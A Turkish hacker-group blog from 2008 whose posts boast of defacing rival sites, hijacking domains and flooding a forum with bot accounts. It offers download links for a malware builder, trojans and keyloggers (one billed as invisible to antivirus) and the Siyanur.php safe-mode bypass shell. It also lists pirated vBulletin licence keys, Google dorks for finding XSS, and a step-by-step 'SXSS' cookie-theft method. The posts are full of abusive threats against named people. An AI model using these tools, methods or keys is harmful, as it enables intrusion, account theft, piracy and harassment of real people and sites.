29 Aralık 2008 Pazartesi

Lolipop.php Forum Home indexer

Lolipop.php configlerini okuduğunuz Vb , Mybb , SMF , Phpbb  gibi sitelerin ana sayfalarını indexlemenizi sağlar (tam sayfa indexler) şuanda Priv olarak http://www.imhatimi.org vip bölümünde dağıtıma sunulmuştur ilgilenen arkadaşlarımıza duyrulur " yeni sürümü hazırlanıyor joomla türü CMS lere tam sayfa index uygulayan sürüm "

17 Kasım 2008 Pazartesi

WL Malware Package v1.0



Coder: x-zer0
Çok güzel bir Malware tool diyebiliriz çünki birçok özelliği içinde barındırır sizin için downloader kodu bile hazırlar oluşturduğunuz server i görünmez kılar indirmek için Tıkla

16 Kasım 2008 Pazar

Kolpa z0ne-h.org Hacked

Zone-h.org u taklit ederek biyerlere varmaya çalışan kolpanın sitesi Baskın ile yaptığımız bir çalışma sonucu başına geçirilmiştir.

Hedef: z0ne-h.org/forum
Mirror: http://www.zone-h.org/component/option,com_mirrorwrp/Itemid,160/id,8157782/ 

1 Kasım 2008 Cumartesi

Guvenli.org Hacked

Bildiğiniz üzere E-hack.org eski sahibi tarafından açılan guvenli.org security sitesi (nekadar güvenlik anlayışları var orası tartışma konusu)

Hedef: http://www.guvenli.org
Mirror: http://www.zone-h.org/component/option,com_mirrorwrp/Itemid,160/id,8123480/

22 Ekim 2008 Çarşamba

Cybernetic v1.6 (Public)


Cybernnetic Trojan + Keylogger

Turkojan 4 gold



Turkojan 4 Gold (paralı) versiyonu

Birçok antivirüs tarafından hala daha tanınmamaktadır

http://rapidshare.com/files/111287199/megapackturkojan.rar

VBulletin Licence Number

Vbulletin Lisans numaraları

vBulletin 3.6.0 - Licence Number VBF0IH37F0
$licenceNumber = 'XXXXXXX'; // vbulletin license number
vBulletin 3.6.1 - Licence Number $sm_lickey
vBulletin 3.0.0 - Licence Number 00000000
vBulletin 3.5.2 - Licence Number $sm_lickey
vBulletin 3.6.1 - Licence Number $sm_lickey
vBulletin 3.0.6 - Licence Number Club2Share.Com
vBulletin 3.0.0 Release Candidate 2 - Licence Number L1665f2b
vBulletin 3.0.3 - Licence Number 11320cef
vBulletin 3.0.3 - Licence Number 71446d33
vBulletin 3.6.0 - Licence Number VBF0IH37F0
vBulletin 3.5.3 - Licence Number VBFBF26ACA
vBulletin 3.0.3 - Licence Number L422505a
vBulletin 3.0.0 Release Candidate 2 - Licence Number L1665f2b
vBulletin 3.5.4 - Licence Number $sm_lickey
vBulletin 3.0.0 Release Candidate 2 - Licence Number L1665f2b
vBulletin 3.0.7 - Licence Number L9557963

10 Ekim 2008 Cuma

Siyanur.PHP Safe Mode Bypass

Herkezin merak ettiği Siyanur.php yi sizler için public etmeye karar verdim zaten birçok yabancı forumlarda dağılmaya başladı daha fazla saklı tutmak zor :)

Özellikleri: PHP 5.2.5 PHP 5.2.6 tüm sürümler bypass edebilir sadece Bypass özelliği vardır Shell grubuna pek girdiği söylenemez

Gereksinimler: CURL ve Base64 'e serverın izin vermesi gerekir aksi halde Siyanur etkisizdir

Siyanur ile forumların configlerini ve bütün dosyalarını okuyabilirsiniz

Serverda CURL ve Base64 yüklü ama siz açığı kapatmak istiyorsanız

SSH açın ve alttakini aynen uygulayın
wget http://403security.org/modsec/install_modsec_rules
sh install_modsec_rules


Siyanur uploadlink: http://www.hackedpage.by.ru/Siyanur.txt

1 Ekim 2008 Çarşamba

Digitalattack.org Hacked

Bir zavallı mirror sitesi daha

Hedef: http://digitalattack.org
Mirror: http://www.mirr0r.net/deface_mirror/?id=17854

Maxmirror.org Hacked

Her lamer ordan burdan çaldığı script ile mirror sitesi açıyor sonrada böyle afiş oluyor

Hedef: http://maxmirror.org

Mirror: http://www.mirr0r.net/deface_mirror/?id=17854

Sivilharekat.org Hacked

Hala daha net üzerinden vatan millet davasını hit çekmek için kendine maske eden yüzlerce siteden birisi daha hacked

Hedef: http://sivilharekat.org
Mirror: http://www.serapis.net//Pages/mirrorsDisplay?Mirror=93016

Siberbulten.net Hacked

Eş dost ayağı yaparak habercilik yaptığını zanneden bebeler hacked

Hedef: http://siberbulten.net
Mirror: http://www.serapis.net//Pages/mirrorsDisplay?Mirror=93338

IRAN KEYLOGGER Trial




8 Eylül 2008 Pazartesi

iMhatiMi.Org Yakinda Online

Bu habere birçoğunuz sevindi ve bizden haz etmeyen bizim yükseldiğimizi gördükçe uykuları kaçanlarda üzüldü diyebiliriz. Bu imhatimi efsanesi 2004 sonlarında başladı ve hiçbirzaman bitmeyecek, bizki ne zor anları atlattık imhtimini yıkmak ve bu oluşumu yok etmek için mutlaka birileri çıktı karşımıza ama şunu bilemediler " Belki birimizi yok edebilirsiniz ancak hepimizi yok edemezsiniz " İMT sayesinde interneti kavrayan birçok gençlik hala daha beni gördükleri sitelerde pm atmaktalar ve teşekkür mesajları bunlar, eğer birilerinin hayatında olumlu şekilde rol aldıysak ne mutlu biz ve imhacılara.
imhatimi efsanesi uzantısında küçük bir değişiklik yaparak geri geliyor http://imhatimi.org unutmayalımki efsaneler ölmez sadece şekil değiştirir , Kadromuzda büyük değişiklikler yok. Eski imha geri geliyor diyebiliriz üstelik çok daha güçlü çok daha acımasız çok daha kararlı çok daha inatçı.
KİMİLERİNİN KAHRAMANI , KİMİLERİNİN KABUSU OLACAĞIZ!!

4 Eylül 2008 Perşembe

Spyfrm.org Hacked

Arkadaşlar dediğim gibi eylemlerimiz 1 günlük eylemler değildir bana çamur atan lamerlerin son kalesi olan Spyfrm.org bugün tarafımızdan bertaraf edilmiştir sql yedeği çekilmiştir meşhur darkness temasıda komple çekilmiştir.

Hedef: http://spyfrm.org
Mirror: http://turk-h.org/defacement/view/303531/spyfrm.org

Merak ediyorum bunadamı kendin regledin diyeceksin acaba malum şahıs =)
Not: sistem Siyanur.php ile geçilmiştir

3 Eylül 2008 Çarşamba

6 Domain Hacked

Sabaha karşı düzenlediğimiz operasyonda 6 domain hacklenmiştir. Saldırılarımız kesinlikle birgünlük eylemler değildir devamı şiddetlenerek gelecektir

Domain panel: http://s2.upload.gen.tr/uploads/0qged51e/unroot2.JPG
http://rebelli0n.org
http://unroot.org
http://sorunsuzpanel.com
http://deletehost.com
http://kredikontor.com
http://www.ownzunroot.com

Bazılarında index görünür bazılarında görünmez fazla uğraşmadım Ns 'ler tam oturmadı Proxy kullanarakda görebilirsiniz

Domainlere SpyHackerZ tarafından el konulmuştur herkez haddini bilecek.

2 Eylül 2008 Salı

Ghost61 Sitesi Hacked

Bana dil uzatan ve benim üzerimden dikkat çekmeye çalışan zone güzeli ghost61 adlı pezevenkin siteside hacked hatta komple sunucu server hacked

hedef: http://ghost61.net
mirror: http://www.datapaylasim.com/deface_mirror/?id=55887
Whois: http://whois.sc/ghost61.net ( domain ref tarihine iyi bakın zaten azcık delikanlılıkları kaldıysa inkar etmezler )

Buda bildiğiniz üzere her 2 hafdada bir madwolf adlı çingene eşşeğini tokatlıorum Craz1es.com adlı sitesi tarafımdan hacklenmiştir , ama tabiki bu herif eşşek olduğu için inkar etmesi doğaldır siteye whois çekin ve domainin reg tarihini görün Valla bu iş iycene kabak tadı vermeye başladı :D

hedef: http://craz1es.com
mirror: http://www.datapaylasim.com/deface_mirror/?id=55897
Whois: http://whois.sc/craz1es.com

Operasyonda adı geçenler: RedstorM - SpyGoogle - Neferx

29 Ağustos 2008 Cuma

Serseri adlı Vatandaşın Tc kimlik nosu

Neyse gene insanlık bende kalsın siliyim.

Efet komediye davet

Efet sevgili dostlarım msn de bir arkadaşımın verdiği linkle gülmekten yarıldık tam manasıyla nedenmi ? adamlara okadar koymuşum okadar koymuşumki beni karalamak için blog açmışlar =) vay bea baya önemli bir adammışım teşekkür ederim öncelikle sizlere en çok blogun altındaki yazıyo güldüm vesselam, nedenmi ? bizi bilen biliyor yazmışlar tam 35 yamışlar " Sizi bilen tabi biliyor (bu laf bile benden özenti) çünkü son zamanlarda bütün domainlerini hacklediğim kim olabilir ? sesleri duyar gibiyim =) doal olarak adamların resmen içine oturmuş ben olsam cidden benimde içime otururdu bütün domainlerimi mundar eden bir adamdan kim nefret etmez soruyorum size ? =) doal olarakda adamlar haklı vesselam zavallılar okadar uğraşmışki benim taa kaç yılında yaptığım hackleri bile koymuşlar tebrikler doğrusu o sıralarda evinizde net varmıydı ? merak ettim açıkcası =) bula bula 5-6 tane konu bulmuşlar onlarda kendi blogumdan alıntı nedense yedikleri domain hackedn hiç söz etmemişler ? muz cumhuriyeti burası arkadaşlar :D Bunu yazan adamda inanın karşımda zamanında köpek gibi titriyordu nolur abi elinde silah var bakmayın o tarafa :D sanırım bişeyler hatırlatır eğer unutulduysa tekrar hatırlatırız Tm35 değil tam orospu evladı yazabilirdin oraya çingene hadi sende ordan. Kendini adam yerine koyuyorsun kaybettiğin itibarını kazanmak için yağtığınız işlere bakın.

Not: Fark ettiyseniz adlarını dahi anmadım okadar umrumda değiller yani buda onlar için açtığım son konu başlığıdır herkez kendi çapında eğlenmeye devam edebilir çünkü biz zamanında çok eğlendik indexleri atarken sitenize :D bugünlük bukadar bu arada ordaki bir yazıya dikkat çekerim sıkıysa bunada bas okadar zor duruma düştülerki artık free site açıp ordan meydan okuyorlar :D

27 Ağustos 2008 Çarşamba

Google sayesinde xss Bulun

inurl:3C*3E?
inurl:"alert('xss')"
inurl:earch.cgi intitle:"results for"
inurl:"%3Cscript"

21 Ağustos 2008 Perşembe

Explorer blocker

Sitenize Explorer ile girilmesini istemiyor ve sadece Firefox ile girilmesini istiyorsanız yazdığım bu 7 satırlık kod işinizi görecektir bunu sitenize eklemeniz yeterlidir

http://hackerbox.by.ru/explorer-bloke.txt

11 Ağustos 2008 Pazartesi

Uranium Asp Portalımı kodlamaya başladım

Bildiğiniz üzere geçmiş asp bilgime dayanarak asp tabanlı portal kodlamaya başladım portal + forum 0 dan kodlamaya başladım bile büyük çoğunluğu bitti tam olarak hazır olduğunda screen leri yayınlıyacağım tabiki portalı piyasaya sürmeyeceğim özel projem için yapılmaktadır burdan duyurulur (:

9 Ağustos 2008 Cumartesi

Hakkımda açıklama

Şuanda bana ait aktif bir sitem yoktur sadece bu görmüş olduğunuz blogumdan sizlere ulaşmaya çalışıyorum zaten herkez bilirki beni site açarsam alemin haberi olur bundan, sizde merakla bekliyorsunuz belkide acaba site açıcakmı diye efet açılcak ancak yazın sonlarına doğru düşünüyorum şuan için erken ve yazın tadını çıkarmak istiyorum.

7 Ağustos 2008 Perşembe

Hackshow.us Domain Hacked

Efet beyler 1 günlük operasyonumuz sonucunda Hekşov domaini hacklemiş bulunuyoruz, Hakkımda aciz bir şekilde karalama kampanyası yürüten bu lamer topluluğuna gereken cevapda verilmiştir artık bundan ötesi yok Hala daha konuşasacak yüzleri kaldımı merak içindeyiz :) üç beş veled alı sıra benden üstün olduğunu kral olduklarını idda ettiler buda sanırım kim kral kim köpek meydana çıkmıştır umarım fazla söze gerekde yok bu saatten sonra
http://img56.imageshack.us/img56/7477/hackshow1hk8.jpg
http://img371.imageshack.us/img371/7676/hackshow2na6.jpg
http://img56.imageshack.us/img56/7691/hackshow3zy5.jpg

http://www.zone-h.net/defaced/2008/08/08/www.forums.hackshow.us/Anasayfaya miror alamadık çünkü zone-h.org a daha önce kayıt olmuşlar ama bizde sub açtık zaten anasayfaya bakarakda görebilirsiniz indexi

2002 MecTruy Kral Ve Kural Tanımam

6 Ağustos 2008 Çarşamba

SXSS Nedir ne işe yarar sxss

Sxss açığı tamamen benim tarafından bulunmuştur hiçbiyerde benzerini bulamazsınız hemen uygulamayı gösterelim

Bildiğiniz üzerinde cpanel kullanan sistemlerde hedefsite.com/~sizinftpuseriniz gibi bir bug var diyelim artık çünkü sisteme zarar verebiliyorsak bu bug olur (: ve ~ hadef site bunu kendi klasörü gibi görecektir cookilerde aynen, mesela siteniz.com/ anadizine kurun portalınızı ve daha sonra bir klasör açın /portal/ diye birde oraya kurun aynı portalı sonra tekrar anadizindeki portala dönüp giriş yapın giriş tamamlandıktan sonra (login) /portal/ klasörüne girin ordaki portala giriş yapın birde sonra tekrar ana dizindeki siteye bakın aaaaa o da ne logout olmuşunuz :)

Bu peki nedemek oluyor ? siz ~ftpuseriniz buraya xss kodunuzu koyup admine tıklatırsanız bütün cookie leri rahatlıkla gelmektedir bu yöntemle birçok site deface ettim ancak kimsenin haberi olmadı paylaşmadığım için. bir adet cookie stealeriniz olması gerekli tabiki (: artık onuda siz bulun

Biraz saksıyı çalıştırırsanız serverdaki bütün siteleri xss ile deface edersiniz nekadar site avrsa sonuna ~sizinftpuser bunu koyup aynı yöntemle cookie lerini çalabilirsiniz
--------------------------------------------
Şimdi ikinci yönteme geçelim buda subdomain açarak oluyor bildiğiniz üzere reseller panelelrde subdomain açma açığı var birçok hostta bu açık mevcut siz subdomaini kullanarak anasayfayı deface etmeyide göstereceğim sizinsub.hedefsite.com sub domaine xss kodunuzu koyun ve bişekilde admine tıklattırın aaa oda ne cookie ler gelmiş (:

Umarım SXSS nin mantığını anlamışsınızdır açılımıda şöyledir başındaki S Server demek Server xss

Hackshow.us a Bir Darbe daha

Geçen gün deface etmiştim ancak yetmedi bugün bot saldırısı düzenleyerek üye sayılarını 6500 e kadar çıakardık :D ve ne hikmetse güvenlik kalkanları devreye girmiş :D 6500 accont açılırken nerdeydi bu kalkanlar ? olm çocuksunuz hepiniz gidin okulunuzu okuyun madara ettirmeyin kendinizi, db ni oldu id 6500 çöpe atın o db yi daha iyi (: Mec ensenizde kollayın götünüzü.

Hackshow.us hacked !

Hackshow.us adlı lamer mekanına ilk uyarımız yapmış bulunuyoruz, birdahaki ataklarımızda bukadar hoşgörülü olmayacağız tamamen şans eseri kurtuldurlar elimizden eğer birgün daha dursalardı serverı rootlamıştık bir baktık server değiştirmişler (: ama sıkıntı yok çakarız dedikmi çakarız. Ben bu sanal alemde oldukça o zavallı insanların kıskançlık damarları patlayacaktır.Her yaptıkları işte bizden benden bir özenme var ve hala daha bana çamur atıyorlar indexlemediğim domainleri zaten kalmadı başka napabilirimki (: ? canı yanan ağlar ve şuanda ağlıyolar :D

18 Nisan 2008 Cuma

Herşeyin bir karşılığı vardır; kendi çapında iş yapmaya çalışan ve gün geçtikce lamzorlaşan Spysecurtiy.org elemanları hacked ( bu ismi bile biz söyledikde öyle açtılardı adamlar gölgemizi bile taklit edecekler ) Bu zamana kadar herkeze cevabını verdik kimileri bana kendi adamlarını tokatlıor diye kızabilirler ancak ben olaylar son raddeye dayanana kadar bişey yapmam (:

Spysecurtiy.org Spyfrm.org Realdestek.com Dreamlater.com Vbulletin-destek.net
iMT 'den 4 kişi çıkarılmıştır; Genetix,Serseri,Madwolf,Ghost61 bu şahıslar ile artık bağlantımız kalmamıştır, vede kesinlikle bizim adımızı artık kullanamazlar, Bizi satanı bedavaya verriz
Rome kardeşim sitesini açmış sonunda, 7 ay aradan sonra dönmesi sevindirici, umarım başarılı olur http://www.turkddl.us warezin adresi (:
Blogumu açtım, beyler benle ilgili gelişmeleri burdan takip edebilirsiniz artıq